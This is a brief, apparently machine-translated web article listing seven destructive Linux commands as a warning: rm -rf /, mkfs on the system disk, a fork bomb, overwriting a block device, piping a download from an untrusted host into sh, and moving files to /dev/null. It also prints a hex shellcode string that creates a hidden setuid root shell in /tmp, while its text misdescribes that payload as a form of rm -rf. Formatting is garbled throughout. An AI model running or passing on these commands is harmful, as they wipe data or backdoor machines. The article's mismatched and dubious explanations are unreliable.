What are the seven most dangerous commands in Linux?

In this article, the editor introduces in detail "what are the seven most dangerous commands in Linux". The content is detailed, the steps are clear, and the details are handled properly. I hope this article "what are the seven most dangerous commands in Linux" can help you solve your doubts.

1. Rm-rf

This command recursively and forcibly deletes all files in the / directory. This is the hex (hexadecimal) version of rm-rf / and is very confusing to Linux users.

2. Char esp [] _ _ attribute__ ((section (".text")) / * e.s.p release * / = "\ xeb\ x3e\ x5b\ X31\ xc0\ x50\ x54\ x5a\ x83\ xec\ x64\ x68"\ xff\ x68\ xdf\ xd0\ xdf\ x68\ x8d\ X81\ x68\ x8d\ x92\ xdf\ xd2\ x5e\ xf7\ x16\ xf7" "\ x56\ x04\ xf7\ x56\ x08\ xf7\ x56\ x0c\ x83\ xc4\ x74\ x56"\ x8d\ x73\ x08\ x56\ x53\ x54\ x59\ xb0\ x0b\ xcd\ x80\ x31"\ xc0\ x40\ xeb\ xf9\ xbd\ xff\ x2f\ x62\ x69"\ x6e\ x2f\ x73\ x68\ X00 "cp-pbin/sh / tmp/.beyond Chmod 4755 / tmp/.beyond; "; 3. Mkfs.ext3 / dev/sda

This will reformat the hard drive, and naturally, all the data on the hard drive will go up in smoke.

4.: () {: |: &};

The famous fork bomb, this command will tell your system to execute massive processes until your system freezes.

5. Any_command > / dev/sda

With this command, the original data is written to the block device, resulting in data loss.

6. Wget http://some_untrusted_source-O-| sh

Don't download things from places you don't trust, which may lead to malicious code.

7. Mv / home/yourhomedirectory/* / dev/null

This command will move all the files in the home directory to a place that does not exist, and you will never see those files again.

After reading this, the article "what are the seven most dangerous commands in Linux" has been introduced. If you want to master the knowledge of this article, you still need to practice and use it. If you want to know more about the article, please follow the industry information channel.